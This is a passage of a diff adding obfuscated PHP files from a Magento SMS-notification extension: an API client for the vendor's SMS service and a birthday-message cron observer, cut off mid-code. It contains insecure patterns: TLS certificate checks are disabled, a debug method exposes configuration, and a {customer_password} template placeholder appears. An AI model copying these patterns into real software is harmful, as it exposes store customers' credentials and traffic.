+ class Topefekt_Magesms_Model_Api extends Varien_Object { private $v9f1e7fea943b3d06ee78f55d3b61a95353536218 = 'Magento'; private $v9f1e7fea943b3d06ee78f55d3b61a95353536218_version; private $v240a8b53893ca3ef75eff909fc854708b004d86d; private $v178a3e710e3d4aca00fd843753ef02f29eb2145d; private $v45213b023462fa21483839e6493acb7cbe1faeab = 'smsmidlet.com'; private $v7d5fd66476c545cbe20f5b704f5ef46970896444 = '/api/api.php'; private $v9e19674cb6e6518d1f09715fae28b8fe6b262f87; private $v7cb5076e93f299085ab8c3bfa32e5712b4990f85 = 80; private $vb57aea5fc32ac2e31b4752c9f7610744dee1af4d = 443; private $v077a05d1aa14d236b9794734fee8900f425eefdf = 5; private $v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 = 'auto'; private $vcb9f213798e6a676a15ee3c66b26bee41d69d0d4; private $vc4185f8999ea79fe5ab81e90671fb9efdd6f4bdb = false; public $data; public $query; private $v31d4e11356546b3c102ad42948b903df3b2dcbfc = array(); private $v8adb8a55748ba4eeb0af088f166489d679f689d0 = array(); public function __construct($i4fa8552ddebdef541b5cf2171f90a3e3066468e0 = null) { $this->v9f1e7fea943b3d06ee78f55d3b61a95353536218_version = Mage::getVersion(); $this->v240a8b53893ca3ef75eff909fc854708b004d86d = Mage::getConfig()->getModuleConfig('Topefekt_Magesms')->version; $this->v178a3e710e3d4aca00fd843753ef02f29eb2145d = Mage::getStoreConfig('magesms/appId'); if (empty($this->v178a3e710e3d4aca00fd843753ef02f29eb2145d)) $this->v178a3e710e3d4aca00fd843753ef02f29eb2145d = 'no-appId'; $this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 = ($i35beb284d43488e678f4231cd9771c42363194b5 = Mage::getStoreConfig('magesms/magesms/connector', 0)) ? $i35beb284d43488e678f4231cd9771c42363194b5 : 'auto'; if ($i4fa8552ddebdef541b5cf2171f90a3e3066468e0) $this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 = $i4fa8552ddebdef541b5cf2171f90a3e3066468e0; } private function f418217640effcf22811abf41fb6822676544f195($i4fa8552ddebdef541b5cf2171f90a3e3066468e0 = null) { if ($i4fa8552ddebdef541b5cf2171f90a3e3066468e0 != null) { if (in_array($i4fa8552ddebdef541b5cf2171f90a3e3066468e0, array('auto', 'ssl', 'curl-ssl', 'no-ssl', 'curl'))) $this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 = $i4fa8552ddebdef541b5cf2171f90a3e3066468e0; } if ($this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 == 'auto' || $this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 == 'ssl') { @$this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87 = fsockopen('ssl://'.$this->v45213b023462fa21483839e6493acb7cbe1faeab, $this->vb57aea5fc32ac2e31b4752c9f7610744dee1af4d, $this->v31d4e11356546b3c102ad42948b903df3b2dcbfc['ssl'], $this->v8adb8a55748ba4eeb0af088f166489d679f689d0['ssl'], $this->v077a05d1aa14d236b9794734fee8900f425eefdf); if (!empty($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87)) return 'ssl'; } if ($this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 == 'auto' || $this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 == 'curl-ssl') { $this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87 = curl_init('https://'.$this->v45213b023462fa21483839e6493acb7cbe1faeab.$this->v7d5fd66476c545cbe20f5b704f5ef46970896444); $this->v31d4e11356546b3c102ad42948b903df3b2dcbfc['curl'] = curl_errno($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87); $this->v8adb8a55748ba4eeb0af088f166489d679f689d0['curl'] = curl_error($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87); if (!empty($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87) && empty($this->v31d4e11356546b3c102ad42948b903df3b2dcbfc['curl'])) return 'curl-ssl'; $this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87 = null; } if ($this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 == 'auto' || $this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 == 'no-ssl') { @$this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87 = fsockopen($this->v45213b023462fa21483839e6493acb7cbe1faeab, $this->v7cb5076e93f299085ab8c3bfa32e5712b4990f85, $this->v31d4e11356546b3c102ad42948b903df3b2dcbfc['no-ssl'], $this->v8adb8a55748ba4eeb0af088f166489d679f689d0['no-ssl'], $this->v077a05d1aa14d236b9794734fee8900f425eefdf); if (!empty($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87)) return 'no-ssl'; } if ($this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 == 'auto' || $this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 == 'curl') { $this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87 = curl_init('http://'.$this->v45213b023462fa21483839e6493acb7cbe1faeab.$this->v7d5fd66476c545cbe20f5b704f5ef46970896444); $this->v31d4e11356546b3c102ad42948b903df3b2dcbfc['curl'] = curl_errno($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87); $this->v8adb8a55748ba4eeb0af088f166489d679f689d0['curl'] = curl_error($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87); if (!empty($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87) && empty($this->v31d4e11356546b3c102ad42948b903df3b2dcbfc['curl'])) return 'curl'; $this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87 = null; } return false; } private function fba8eb60cc038de71062462629784762fcf874461($ia61712c27ea241bd7a543dc2b02ea572274d0322) { if (empty($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87)) return false; $this->query = $ia61712c27ea241bd7a543dc2b02ea572274d0322; preg_match('/action=(.*?)&/', $ia61712c27ea241bd7a543dc2b02ea572274d0322, $i43da24755ffd60b125b8d028fe9374322824e354); $i87f2ea938389759d33b89c6fb4d2e619c5e100fa = $i43da24755ffd60b125b8d028fe9374322824e354[1]; switch ($this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9) { case 'no-ssl': case 'ssl': fwrite($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, "POST ".$this->v7d5fd66476c545cbe20f5b704f5ef46970896444." HTTP/1.0\r\n"); fwrite($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, "User-Agent: Smsmidlet-api/1.0 (".$this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9."; ".$this->v9f1e7fea943b3d06ee78f55d3b61a95353536218."; ".$this->v9f1e7fea943b3d06ee78f55d3b61a95353536218_version."; call: $i87f2ea938389759d33b89c6fb4d2e619c5e100fa)\r\n"); fwrite($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, "Host: ".$this->v45213b023462fa21483839e6493acb7cbe1faeab."\r\n"); fwrite($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, "Content-type: application/x-www-form-urlencoded; charset=utf-8\r\n"); fwrite($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, "Content-length: ".strlen ($ia61712c27ea241bd7a543dc2b02ea572274d0322)."\r\n"); fwrite($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, "\r\n".$ia61712c27ea241bd7a543dc2b02ea572274d0322."\r\n"); $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3 = ''; while (!feof($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87)) { @$i3bd625bb1dc4606e8c0dc77ad823797f51341fc3 .= fgets($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, 2048); } $ie4a1f55ce89a34eb3838ef044286891434352fb7 = fclose($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87); list($ie3dffdbcc706f9e096534318ed81a9f59e289e7d, $this->data) = explode("\r\n\r\n", $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3, 2); return $this->data; break; case 'curl': case 'curl-ssl': if (get_resource_type($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87) == 'curl') { @curl_setopt($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, CURLOPT_POST, 1); @curl_setopt($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, CURLOPT_POSTFIELDS, $ia61712c27ea241bd7a543dc2b02ea572274d0322); @curl_setopt($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, CURLOPT_FOLLOWLOCATION, 1); @curl_setopt($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, CURLOPT_HEADER, 0); @curl_setopt($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, CURLOPT_RETURNTRANSFER, 1); @curl_setopt($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, CURLOPT_SSL_VERIFYPEER, false); @curl_setopt($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87, CURLOPT_USERAGENT,'Smsmidlet-api/1.0 ('.$this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9.'; '.$this->v9f1e7fea943b3d06ee78f55d3b61a95353536218.'; '.$this->v9f1e7fea943b3d06ee78f55d3b61a95353536218_version."; call: $i87f2ea938389759d33b89c6fb4d2e619c5e100fa )"); @$i3bd625bb1dc4606e8c0dc77ad823797f51341fc3 = curl_exec($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87); $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3 = html_entity_decode($i3bd625bb1dc4606e8c0dc77ad823797f51341fc3); curl_close($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87); return $this->data = $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3; } break; } return false; } public function getconnectMethod() { return $this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9; } public function serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322, $i17c20960d197486b19dc890665362a4f2fd6f24a = true) { if (empty($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87) && $this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 != 'auto') $i4fa8552ddebdef541b5cf2171f90a3e3066468e0 = $this->f418217640effcf22811abf41fb6822676544f195(); if (empty($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87)) $i4fa8552ddebdef541b5cf2171f90a3e3066468e0 = $this->f418217640effcf22811abf41fb6822676544f195('auto'); if (empty($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87)) return false; if (!empty($this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87) && isset($i4fa8552ddebdef541b5cf2171f90a3e3066468e0)) $this->v488f1ce59a4e07137e2e136095a7b0bc80a53bd9 = $i4fa8552ddebdef541b5cf2171f90a3e3066468e0; $i2f4c8461c23acd59e2d84b6cbd67931b74d28001 = ''; if (Mage::registry('magesms_store_id')) $i2f4c8461c23acd59e2d84b6cbd67931b74d28001 = '&storeid='.Mage::registry('magesms_store_id'); $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3 = $this->fba8eb60cc038de71062462629784762fcf874461($ia61712c27ea241bd7a543dc2b02ea572274d0322.$i2f4c8461c23acd59e2d84b6cbd67931b74d28001.'&AppID='.$this->v178a3e710e3d4aca00fd843753ef02f29eb2145d.'&version='.$this->v9f1e7fea943b3d06ee78f55d3b61a95353536218_version.'&moduleVersion='.$this->v240a8b53893ca3ef75eff909fc854708b004d86d); $this->v9e19674cb6e6518d1f09715fae28b8fe6b262f87 = null; return $i17c20960d197486b19dc890665362a4f2fd6f24a ? $this->parser($i3bd625bb1dc4606e8c0dc77ad823797f51341fc3) : $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3; } public function parser($ia61712c27ea241bd7a543dc2b02ea572274d0322, $ia9229b7048dd0adf905022d8569b2d2310c74a8d = ';') { if (is_bool($ia61712c27ea241bd7a543dc2b02ea572274d0322)) return $ia61712c27ea241bd7a543dc2b02ea572274d0322; $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3 = array('errno' => 99, 'error' => 'Parse error: '.$ia61712c27ea241bd7a543dc2b02ea572274d0322, 'query' => $this->query, 'source' => $ia61712c27ea241bd7a543dc2b02ea572274d0322, 'data' => NULL, 'datasrc' => null); if (preg_match('/<b>(.*?)<\/b>/', $ia61712c27ea241bd7a543dc2b02ea572274d0322, $i712821c3a64ae4a252ded9f3deaaddb6e942d985)) { $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3['errno'] = $i712821c3a64ae4a252ded9f3deaaddb6e942d985[1]; } if (preg_match('/<u>(.*)<\/u>/', $ia61712c27ea241bd7a543dc2b02ea572274d0322, $i5528ed14b056e3debe4695094269de3a98f76fe7)) { if (!in_array($i3bd625bb1dc4606e8c0dc77ad823797f51341fc3['errno'], array(1, 11, 111))) { $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3['error'] = $i5528ed14b056e3debe4695094269de3a98f76fe7[1]; $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3['datasrc'] = $i5528ed14b056e3debe4695094269de3a98f76fe7[1]; } else { $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3['error'] = 'OK'; $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3['datasrc'] = $i5528ed14b056e3debe4695094269de3a98f76fe7[1]; $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3['data'] = explode($ia9229b7048dd0adf905022d8569b2d2310c74a8d, $i5528ed14b056e3debe4695094269de3a98f76fe7[1]); } } return $i3bd625bb1dc4606e8c0dc77ad823797f51341fc3; } public function analyze() { error_reporting(-1); ini_set('display_errors', 1); echo '<h1>Test napojeni na API</h1><ul>'; echo '<li>Server1:<ul>'; echo '<li>fsockopen ssl: '; $i13e7e92bf1e1fca680dff52183c53c3b088a9193 = fsockopen('ssl://'.$this->v45213b023462fa21483839e6493acb7cbe1faeab, 443); echo empty($i13e7e92bf1e1fca680dff52183c53c3b088a9193) ? 'CHYBA' : 'OK'; echo '</li>'; echo '<li>curl ssl: '; $i13e7e92bf1e1fca680dff52183c53c3b088a9193 = curl_init('https://'.$this->v45213b023462fa21483839e6493acb7cbe1faeab.'/'); curl_setopt($i13e7e92bf1e1fca680dff52183c53c3b088a9193, CURLOPT_RETURNTRANSFER, 1); curl_exec($i13e7e92bf1e1fca680dff52183c53c3b088a9193); echo curl_errno($i13e7e92bf1e1fca680dff52183c53c3b088a9193) ? 'CHYBA '.curl_error($i13e7e92bf1e1fca680dff52183c53c3b088a9193) : 'OK'; echo '</li>'; echo '<li>fsockopen no-ssl: '; $i13e7e92bf1e1fca680dff52183c53c3b088a9193 = fsockopen($this->v45213b023462fa21483839e6493acb7cbe1faeab, 80); echo empty($i13e7e92bf1e1fca680dff52183c53c3b088a9193) ? 'CHYBA' : 'OK'; echo '</li>'; echo '<li>curl no-ssl: '; $i13e7e92bf1e1fca680dff52183c53c3b088a9193 = curl_init('http://'.$this->v45213b023462fa21483839e6493acb7cbe1faeab.'/'); curl_setopt($i13e7e92bf1e1fca680dff52183c53c3b088a9193, CURLOPT_RETURNTRANSFER, 1); curl_exec($i13e7e92bf1e1fca680dff52183c53c3b088a9193); echo curl_errno($i13e7e92bf1e1fca680dff52183c53c3b088a9193) ? 'CHYBA '.curl_error($i13e7e92bf1e1fca680dff52183c53c3b088a9193) : 'OK'; echo '</li>'; echo '</ul></li>'; echo '<li>Server2:<ul>'; echo '<li>fsockopen ssl: '; $i13e7e92bf1e1fca680dff52183c53c3b088a9193 = fsockopen('ssl://www.vix.cz', 443); echo empty($i13e7e92bf1e1fca680dff52183c53c3b088a9193) ? 'CHYBA' : 'OK'; echo '</li>'; echo '<li>curl ssl: '; $i13e7e92bf1e1fca680dff52183c53c3b088a9193 = curl_init('https://www.vix.cz/'); curl_setopt($i13e7e92bf1e1fca680dff52183c53c3b088a9193, CURLOPT_RETURNTRANSFER, 1); curl_exec($i13e7e92bf1e1fca680dff52183c53c3b088a9193); echo curl_errno($i13e7e92bf1e1fca680dff52183c53c3b088a9193) ? 'CHYBA '.curl_error($i13e7e92bf1e1fca680dff52183c53c3b088a9193) : 'OK'; echo '</li>'; echo '<li>fsockopen no-ssl: '; $i13e7e92bf1e1fca680dff52183c53c3b088a9193 = fsockopen('www.vix.cz', 80); echo empty($i13e7e92bf1e1fca680dff52183c53c3b088a9193) ? 'CHYBA' : 'OK'; echo '</li>'; echo '<li>curl no-ssl: '; $i13e7e92bf1e1fca680dff52183c53c3b088a9193 = curl_init('http://www.vix.cz/'); curl_setopt($i13e7e92bf1e1fca680dff52183c53c3b088a9193, CURLOPT_RETURNTRANSFER, 1); curl_exec($i13e7e92bf1e1fca680dff52183c53c3b088a9193); echo curl_errno($i13e7e92bf1e1fca680dff52183c53c3b088a9193) ? 'CHYBA '.curl_error($i13e7e92bf1e1fca680dff52183c53c3b088a9193) : 'OK'; echo '</li>'; echo '</ul></li>'; echo '</ul>'; echo '<h1>REWRITES</h1><ul>'; echo '<pre>'; print_r(Mage::getConfig()->getNode()->xpath('//rewrite')); echo '</pre>'; echo '<h1>Customer routers</h1><ul>'; echo '<pre>'; print_r(Mage::getConfig()->getNode()->xpath('//frontend/routers/customer')); echo '</pre>'; echo '<h1>List events</h1><ul>'; foreach (Mage::getConfig()->getNode()->xpath('//events') as $i2e68560d8e15e3c18bb400939778a6bf1ae47190) { foreach ($i2e68560d8e15e3c18bb400939778a6bf1ae47190 as $i7fff76b02be2f63877a1782ca871e62a287fa16f=>$i72bc014991db6f86e83f3ab1b7e62f315a25637d) { if (property_exists($i72bc014991db6f86e83f3ab1b7e62f315a25637d, 'observers')) { foreach (get_object_vars($i72bc014991db6f86e83f3ab1b7e62f315a25637d->observers) as $i417760717250c854293598d2ff07a66629a1946d) { if (strpos($i417760717250c854293598d2ff07a66629a1946d->class, 'magesms') !== false) { echo "<li><b>$i7fff76b02be2f63877a1782ca871e62a287fa16f</b><ul>\n"; foreach (get_object_vars($i72bc014991db6f86e83f3ab1b7e62f315a25637d->observers) as $i2bd9743336318d0e14be0600c9129730279505dd=>$i71d48f04d89d325b6b81d9c8cb5cb8d2faa0dc63) { echo "<li>$i2bd9743336318d0e14be0600c9129730279505dd\n"; echo '<pre>'; print_r($i71d48f04d89d325b6b81d9c8cb5cb8d2faa0dc63); echo '</pre>'; echo "</li>\n"; } echo "</ul></li>\n"; } } } } } } }
app/code/community/Topefekt/Magesms/Model/Birthdaymessages/Observer.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ class Topefekt_Magesms_Model_BirthdayMessages_Observer { public function customersmsGroups(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { if (!Mage::getStoreConfig('magesms/birthday/enabled')) return $this; $ie54fcd5470bd7f31f709089290e33bb03e655c25 = $this->f69d077045ec67fdb80677c5f2c3a640cf42697a2(); $i7137e40370cf1c5ccf937060891613788203e2d6 = Mage::app()->getRequest()->getParam('mutation', reset($ie54fcd5470bd7f31f709089290e33bb03e655c25)); $iefc930e6dfdf3023610ed7d663c73d176a7544e0 = Mage::helper('magesms')->__(Mage::getConfig()->getNode('default/birthdaymessages/template')->default); $i1ddb77d41f3678bb92f39c5c4d47aa6e58d4b89e = Mage::getModel('magesms/birthdaymessages_template')->getCollection(); $i1ddb77d41f3678bb92f39c5c4d47aa6e58d4b89e->addFieldToFilter('mutation', $i7137e40370cf1c5ccf937060891613788203e2d6); $i705fa7c9639d497e1179d7d5691c212668a8c9c8 = $i1ddb77d41f3678bb92f39c5c4d47aa6e58d4b89e->getFirstItem(); $i705fa7c9639d497e1179d7d5691c212668a8c9c8->setGroup('birthdaymessages') ->setName('birthdayMessages') ->setPlugin('topefekt_birthdaymessages') ->setInfo(Mage::helper('magesms')->__('Birthday Messages notification')) ->setTemplate2($i705fa7c9639d497e1179d7d5691c212668a8c9c8->getSmstext() ? $i705fa7c9639d497e1179d7d5691c212668a8c9c8->getSmstext() : $iefc930e6dfdf3023610ed7d663c73d176a7544e0) ->setNotice('{customer_id}, {customer_email}, {customer_password}, {customer_lastname}, {customer_firstname}<br /><br />{shop_domain}, {shop_name}, {shop_email}, {shop_phone}'); if (!$i705fa7c9639d497e1179d7d5691c212668a8c9c8->getRunTime()) { $i705fa7c9639d497e1179d7d5691c212668a8c9c8->setRunTime(Mage::getConfig()->getNode('default/birthdaymessages/template')->time); } $i1791b2d1f89bb2bd83b34046f59125af207713db = Mage::app()->getLayout()->createBlock('Mage_Core_Block_Template')->setTemplate('topefekt/magesms/birthdaymessages/form.phtml'); $i5d4a7167ae6f10601ecf7cb73a87e638ab815fde = array( array('value' => 0, 'title' => Mage::helper('magesms')->__('on birthday')), array('value' => -1, 'title' => Mage::helper('magesms')->__('-1 day')), array('value' => -2, 'title' => Mage::helper('magesms')->__('-2 days')), array('value' => -3, 'title' => Mage::helper('magesms')->__('-3 days')), array('value' => -4, 'title' => Mage::helper('magesms')->__('-4 days')), array('value' => -5, 'title' => Mage::helper('magesms')->__('-5 days')), array('value' => -7, 'title' => Mage::helper('magesms')->__('-7 days')), array('value' => -14, 'title' => Mage::helper('magesms')->__('-14 days')), ); foreach($i5d4a7167ae6f10601ecf7cb73a87e638ab815fde as &$i9b0c07ee5a5a3ac4f600994a3a25b10d6c6dd015) { if ($i9b0c07ee5a5a3ac4f600994a3a25b10d6c6dd015['value'] == $i705fa7c9639d497e1179d7d5691c212668a8c9c8->getDelay()) $i9b0c07ee5a5a3ac4f600994a3a25b10d6c6dd015['selected'] = true; else $i9b0c07ee5a5a3ac4f600994a3a25b10d6c6dd015['selected'] = false; } $i1791b2d1f89bb2bd83b34046f59125af207713db->setDelay($i5d4a7167ae6f10601ecf7cb73a87e638ab815fde); list($i763af8c0bf60af676bd6009608530e253f26d465, $i7627de5569d5cb4533fb00a68acc5f866e381c5b) = explode(':', $i705fa7c9639d497e1179d7d5691c212668a8c9c8->getRunTime()); $i1791b2d1f89bb2bd83b34046f59125af207713db->setRunTimeHour($i763af8c0bf60af676bd6009608530e253f26d465); $i1791b2d1f89bb2bd83b34046f59125af207713db->setRunTimeMinute($i7627de5569d5cb4533fb00a68acc5f866e381c5b); $i705fa7c9639d497e1179d7d5691c212668a8c9c8->setCustomForm($i1791b2d1f89bb2bd83b34046f59125af207713db->toHtml()); $i417760717250c854293598d2ff07a66629a1946d['groups']->addItem(new Varien_Object(array( 'group' => 'birthdaymessages', 'name' => Mage::helper('magesms')->__('Birthday Messages'), 'hooks' => array($i705fa7c9639d497e1179d7d5691c212668a8c9c8->getName() => $i705fa7c9639d497e1179d7d5691c212668a8c9c8) ))); return $this; } public function save(Varien_Event_Observer $i417760717250c854293598d2ff07a66629a1946d) { if (!Mage::getStoreConfig('magesms/birthday/enabled')) return $this; $i2e233784f2a54347fff339d5268a637485c8d940 = Mage::app()->getRequest(); if ($i2e233784f2a54347fff339d5268a637485c8d940->getParam('plugin') != 'topefekt_birthdaymessages') return $this; $ie54fcd5470bd7f31f709089290e33bb03e655c25 = $this->f69d077045ec67fdb80677c5f2c3a640cf42697a2(); $i7137e40370cf1c5ccf937060891613788203e2d6 = $i2e233784f2a54347fff339d5268a637485c8d940->getParam('mutation', reset($ie54fcd5470bd7f31f709089290e33bb03e655c25)); $idb618c56be2c8abc9a54a16881dadfd5317ba624 = Mage::getModel('magesms/birthdaymessages_template')->getCollection(); $idb618c56be2c8abc9a54a16881dadfd5317ba624->addFieldToFilter('mutation', $i7137e40370cf1c5ccf937060891613788203e2d6); $iefc930e6dfdf3023610ed7d663c73d176a7544e0 = $idb618c56be2c8abc9a54a16881dadfd5317ba624->getFirstItem(); $iefc930e6dfdf3023610ed7d663c73d176a7544e0->setMutation($i7137e40370cf1c5ccf937060891613788203e2d6); $iefc930e6dfdf3023610ed7d663c73d176a7544e0->setRunTime($i2e233784f2a54347fff339d5268a637485c8d940->getParam('run_time_hour').':'.$i2e233784f2a54347fff339d5268a637485c8d940->getParam('run_time_min').':00'); $iefc930e6dfdf3023610ed7d663c73d176a7544e0->setDelay($i2e233784f2a54347fff339d5268a637485c8d940->getParam('delay')); $iefc930e6dfdf3023610ed7d663c73d176a7544e0->setSmstext($i2e233784f2a54347fff339d5268a637485c8d940->getParam('text')); $iefc930e6dfdf3023610ed7d663c73d176a7544e0->setActive($i2e233784f2a54347fff339d5268a637485c8d940->getParam('active') ? 1 : 0); $iefc930e6dfdf3023610ed7d663c73d176a7544e0->save(); } public function cron() { if (!Mage::getStoreConfig('magesms/birthday/enabled')) return $this; $iff7e46827cbb6547116c592bf800f4687428abf9 = Mage::getModel('magesms/birthdaymessages_template')->getCollection(); $iff7e46827cbb6547116c592bf800f4687428abf9->addFieldToFilter('active', 1); if (!$iff7e46827cbb6547116c592bf800f4687428abf9->count()) return $this; $iefc930e6dfdf3023610ed7d663c73d176a7544e0 = $iff7e46827cbb6547116c592bf800f4687428abf9->getFirstItem(); Mage::log("MageSms BirthdayMessages cron - run"); $ib74b960a19e96c6107348a44a072d3d572782356 = Mage::getStoreConfig('magesms/birthday/run'); $ic69c406967f5c7f4ff71422703f9dff657d8de71 = Mage::getModel('core/date')->timestamp(); if (!$ib74b960a19e96c6107348a44a072d3d572782356) { if ($ic69c406967f5c7f4ff71422703f9dff657d8de71 < strtotime($ib74b960a19e96c6107348a44a072d3d572782356.' '.$iefc930e6dfdf3023610ed7d663c73d176a7544e0->getRunTime())) { $ib74b960a19e96c6107348a44a072d3d572782356 = date('Y-m-d', Mage::getModel('core/date')->timestamp()); } else { $ib74b960a19e96c6107348a44a072d3d572782356 = date('Y-m-d', Mage::getModel('core/date')->timestamp(strtotime('+1 day'))); } Mage::getModel('core/config')->saveConfig('magesms/birthday/run', $ib74b960a19e96c6107348a44a072d3d572782356); Mage::getConfig()->reinit(); Mage::app()->reinitStores(); } if ($ic69c406967f5c7f4ff71422703f9dff657d8de71 >= strtotime($ib74b960a19e96c6107348a44a072d3d572782356.' '.$iefc930e6dfdf3023610ed7d663c73d176a7544e0->getRunTime())) { Mage::log("MageSms BirthdayMessages cron - searching customers"); $ibad8f78c098260b16424eb12ceee5f8336591d56 = Mage::helper('magesms')->getCustomerCollection(); $ibad8f78c098260b16424eb12ceee5f8336591d56->addFieldToFilter('dob', array('notnull' => true)); $i5d4a7167ae6f10601ecf7cb73a87e638ab815fde = $ic69c406967f5c7f4ff71422703f9dff657d8de71; if ($iefc930e6dfdf3023610ed7d663c73d176a7544e0->getDelay()) { $i5d4a7167ae6f10601ecf7cb73a87e638ab815fde = strtotime('+'.(-1 * $iefc930e6dfdf3023610ed7d663c73d176a7544e0->getDelay()).' day', $ic69c406967f5c7f4ff71422703f9dff657d8de71); } $ibad8f78c098260b16424eb12ceee5f8336591d56->getSelect()->where('(at_dob.value LIKE \'____-'.date('m', $i5d4a7167ae6f10601ecf7cb73a87e638ab815fde).'-'.date('d', $i5d4a7167ae6f10601ecf7cb73a87e638ab815fde).' %\')'); if ($ibad8f78c098260b16424eb12ceee5f8336591d56->count()) { Mage::log("MageSms BirthdayMessages cron - found ".$ibad8f78c098260b16424eb12ceee5f8336591d56->count()." customer(s)"); $i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18 = Mage::getSingleton('magesms/smsprofile'); $i1ddb77d41f3678bb92f39c5c4d47aa6e58d4b89e = Mage::getModel('magesms/birthdaymessages_template')->getCollection(); $i1ddb77d41f3678bb92f39c5c4d47aa6e58d4b89e->addFieldToFilter('mutation', array('nlike' => 'default')); $i1ddb77d41f3678bb92f39c5c4d47aa6e58d4b89e->addFieldToFilter('active', 1); foreach ($ibad8f78c098260b16424eb12ceee5f8336591d56 as $i21e55df616c305955791876c1eb4da83448beba2) { if ($i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->getPrefbilling()) { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $i21e55df616c305955791876c1eb4da83448beba2->getShippingTelephone(); $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = $i21e55df616c305955791876c1eb4da83448beba2->getShippingCountryId(); if (!$i1f1945594819c4321de45ac15ed6d4dc07f41e2f) { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $i21e55df616c305955791876c1eb4da83448beba2->getTelephone(); $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = $i21e55df616c305955791876c1eb4da83448beba2->getBillingCountryId(); } } else { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $i21e55df616c305955791876c1eb4da83448beba2->getBillingTelephone(); $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = $i21e55df616c305955791876c1eb4da83448beba2->getBillingCountryId(); if (!$i1f1945594819c4321de45ac15ed6d4dc07f41e2f) { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $i21e55df616c305955791876c1eb4da83448beba2->getTelephone(); $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = $i21e55df616c305955791876c1eb4da83448beba2->getShippingCountryId(); } } $ifb2b31a17a2f13d19aebc5823ae02f42988a78f2 = $i21e55df616c305955791876c1eb4da83448beba2->getEntityId(); $i489c048e0604d314330360b5ee23b42f486ebb98 = $i21e55df616c305955791876c1eb4da83448beba2->getLastName(). ' '.$i21e55df616c305955791876c1eb4da83448beba2->getFirstName(); if 